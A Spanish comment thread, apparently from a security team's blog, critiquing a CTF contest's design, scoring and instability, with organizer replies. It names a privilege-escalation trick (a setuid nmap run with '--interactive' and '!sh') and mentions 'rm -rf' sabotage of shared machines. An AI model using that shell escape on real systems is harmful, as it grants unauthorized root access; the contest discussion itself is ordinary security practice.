El concurso ha estado divertido pero consideramos que se ha abusado del concepto de "idea feliz". Había pruebas que simplemente no se podían resolver sin pistas; otras con grandes incoherencias (como la 06 del falso "SQL").
Tampoco ha ayudado que
haya pruebas que dependan de otras, en especial aquellas como la 07, que
estuvieron caídas la mayor parte del concurso y provocando un enorme
"atasco" entre los participantes. Y por último, el tener que
"adivinar" passwords (tomarlos de otras pruebas, fuerza bruta, etc)
tampoco es buena idea. Pensamos que se ha hecho así para dilatar
artificialmente el tiempo de concurso, cosa que tampoco consideramos apropiada:
el concurso no debería durar más de un fin de semana e idealmente todas las
pruebas se deberían de poder resolver técnicamente sin necesidad de pistas ni
"pensamiento lateral". Esto último no es real en absoluto puesto que
en la vida real un atacante dispone de un "contexto" (y por tanto, de
información adicional con la que jugar y enlazar con ideas), algo de lo que se
carecía en este caso.
También se han
descubierto diferentes fallos de implementación (como la 08, que te daba la key
sin disponer del token; o los permisos de "nmap" que te permitían
saltarte niveles y además neutralizar el avance al resto de concursantes) y de
inestabilidad (en especial, en las pruebas shells: la máquina se quedaba sin
recursos). En un concurso de estas características estos detalles se deberían
de cuidar.
Como ya os comentamos en su momento, la prueba de la bastilla con el nmap con setuid a un usuario concreto y obvio, era así. Buscábamos que alguien ejecutara "nmap --interactive" y luego llamara al shell desde dentro con !sh o !bash. Vosotros lo resolvistéis con otra aproximación (como siempre digo, uno no deja de sorprenderse con lo que ve :) ).
ReplyDeleteLa parte del token la quisimos "suavizar" levemente para que se pudieran repetir pruebas y colaran con cierta facilidad.
Con lo que tuvimos muchos problemas fue con el OCR (era tesseract en el backend) que, curiosamente, aún ajustando el umbral en muchos casos le quitaba los espacios a las peticiones. La prueba no salió todo lo bien que hubiera sido deseable, pero conseguistéis sacarla por lo que tampoco fue un desastre (aunque casi).
La inestabilidad es algo que tendremos que ver cómo corregimos el año que viene, estoy de acuerdo en que fue muy molesto y mal planificado por nuestra parte, la verdad.
Enhorabuena, no solamente por lo que se ve (el informe), es que lo que no se ve (.caps y sebeks) es espectacular :)
Lo que no era correcto de la prueba de nmap no era la forma de explotarla (que puede haber variantes -eso ya depende del juego que ofrezca el propio binario-) ni que fuera suid (tenía que serlo para que se pudiera escalar privilegios). El fallo eran los permisos del binario, que:
ReplyDelete1/ Permitían ejecución para cualquier usuario ("others"). Esto significa que se podía invocar directamente, no hacía falta pasar por las pruebas/binarios anteriores (¡te podías saltar pruebas!). Fix: chmod o-rwx nmap.
2/ Tenía permiso de escritura por parte del owner. Esto significa que una vez explotado se podía sobreescribir su contenido y por tanto, invalidar el binario (lo que impediría al resto de concursantes seguir avanzando). Fix: chmod u-w nmap.
El nmap estaba ahí metido como "ayuda" para que se pudiera saltar la cadena de elevaciones y pasar directamente a tener permisos de eleva4. En casi todas las pruebas (salvo las que tenían crypto) había "tricks" y caminos alternativos para llegar, en algunos casos más rápido.
ReplyDelete¿Por qué motivo íbamos a dejar un nmap con setuid y con ese dueño en concreto? Pues precisamente para que cualquier usuario pudiera elevar al 4 sin pasar por la casilla de salida.
Sin olvidar que era una bastilla, ahí una vez, un participante, controlado el nmap como bien indicas era lógico que lo eliminara o lo "retocara".
De hecho, nosotros especulábamos con la idea de que en vez de anular los accesos el que se hiciera con las bastillas las iba a dejar abiertas y "manipuladas", para tener a los otros participantes entretenidos con pruebas que no iban a llegar a ninguna parte.
De hecho, a muchos les coló la trampita (no la pusimos nosotros) del fichero de pistas en el /tmp de alguna máquina :)
Si de verdad es cierto que los permisos incorrectos estaban así adrede (tengo mis dudas y podría argumentar por qué pero bueno, no lo discutiré, no lleva a ninguna parte), sinceramente no le veo sentido... Primero, porque era algo trivial de descubrir (no tiene mucho mérito aprovechar ese supuesto "atajo adrede"). Segundo, porque favorece al que va primero, anulando al resto de participantes (si lo que se busca precisamente es la máxima participación de la gente e incluso tratar de equiparar y dar oportunidades a todos se está consiguiendo el efecto contrario). Tercero, tampoco es sensato que os curréis unas pruebas que realmente no hace falta jugarlas (no las juegan ni los ganadores ni el resto de equipos; para mí eso es desperdiciar recursos).
ReplyDeleteRespecto a lo del /tmp, aunque las reglas lo permitían, tampoco estoy de acuerdo porque se altera el juego: no hace sino crear más incertidumbre y favorecer a los jugadores/equipos más potentes, que son los que normalmente irán siempre por delante y sacarán partido de los "tricks".
Por último, la enorme puntuación asignada a las bastillas y el "solo puntúa el primero, que además puede hacer rm -rf si lo desea" hace que el juego se reduzca a ganar las bastillas: prácticamente el que resolviera las bastillas tenía el concurso asegurado. Y de hecho así nos ocurrió a nosotros, que seguimos resolviendo pruebas simplemente por placer (o masoquismo, según se mire), no porque necesitáramos los puntos :)
En fin, yo no voy a darle más vueltas (esto es el blog de int3pids; no el de sugerencias de la Rooted). Espero que con críticas constructivas como la nuestra y por supuesto del resto de participantes, os quede claro cómo mejorar de cara a futuras ediciones, que al fin y al cabo es de lo que se trata.
No hay de qué :)